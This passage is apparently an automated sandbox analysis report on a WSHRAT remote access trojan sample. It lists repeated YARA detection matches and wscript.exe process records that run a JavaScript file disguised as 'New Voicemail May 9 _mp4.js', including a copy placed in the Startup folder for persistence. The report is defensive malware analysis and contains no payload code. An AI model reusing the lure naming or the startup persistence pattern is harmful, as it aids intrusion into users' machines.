                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.2365561540.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.3283310659.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.3283310659.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2092891218.0000000005B96000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.3228165832.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.3228165832.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2122982130.0000000006CA9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.2122982130.0000000006CA9000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2195388309.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.2195388309.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000002.3662661142.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000002.3664293608.0000000006F10000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000002.3664293608.0000000006F10000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.3338153980.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.3338153980.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2309211314.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.2309211314.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000002.3661927957.000000000562A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2479670966.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.2479670966.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.3408776876.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.3408776876.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 0000000C.00000003.2092684570.00000000059AF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 0000000C.00000003.2092684570.00000000059AF000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      Reputation:moderate
                                                                                                                                                                                      Has exited:false

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:14
                                                                                                                                                                                      Start time:21:32:05
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\System32\wscript.exe
                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                      Commandline:"C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                                                                                                                                                                                      Imagebase:0x7ff6387d0000
                                                                                                                                                                                      File size:170'496 bytes
                                                                                                                                                                                      MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:15
                                                                                                                                                                                      Start time:21:32:13
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\System32\wscript.exe
                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                      Commandline:"C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                                                                                                                                                                                      Imagebase:0x7ff6387d0000
                                                                                                                                                                                      File size:170'496 bytes
                                                                                                                                                                                      MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:16
                                                                                                                                                                                      Start time:21:32:22
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\System32\wscript.exe
                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                      Commandline:"C:\Windows\system32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                                                                                                                                                                                      Imagebase:0x7ff6387d0000
                                                                                                                                                                                      File size:170'496 bytes
                                                                                                                                                                                      MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                      General

                                                                                                                                                                                      Target ID:17
                                                                                                                                                                                      Start time:21:32:30
                                                                                                                                                                                      Start date:10/05/2024
                                                                                                                                                                                      Path:C:\Windows\System32\wscript.exe
                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                      Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New Voicemail May 9 _mp4.js"
                                                                                                                                                                                      Imagebase:0x7ff6387d0000
                                                                                                                                                                                      File size:170'496 bytes
                                                                                                                                                                                      MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000011.00000003.2443802427.000002101330E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000011.00000002.3662453793.00000210132F5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000011.00000003.2443649511.00000210131BF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000011.00000003.2444885075.00000210130B2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000011.00000002.3662263359.00000210131BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000011.00000002.3662635567.00000210134D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000011.00000002.3663724443.000002101409B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000011.00000002.3661879810.0000021012F6B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: JoeSecurity_WSHRAT, Description: Yara detected WSHRAT, Source: 00000011.00000003.2444105297.00000210130F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                      • Rule: INDICATOR_SUSPICIOUS_JS_WMI_ExecQuery, Description: Detects JS potentially executing WMI queries, Source: 00000011.00000003.2444105297.00000210130F7000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                      Has exited:false

                                                                                                                                                                                      Disassembly

                                                                                                                                                                                      Reset < >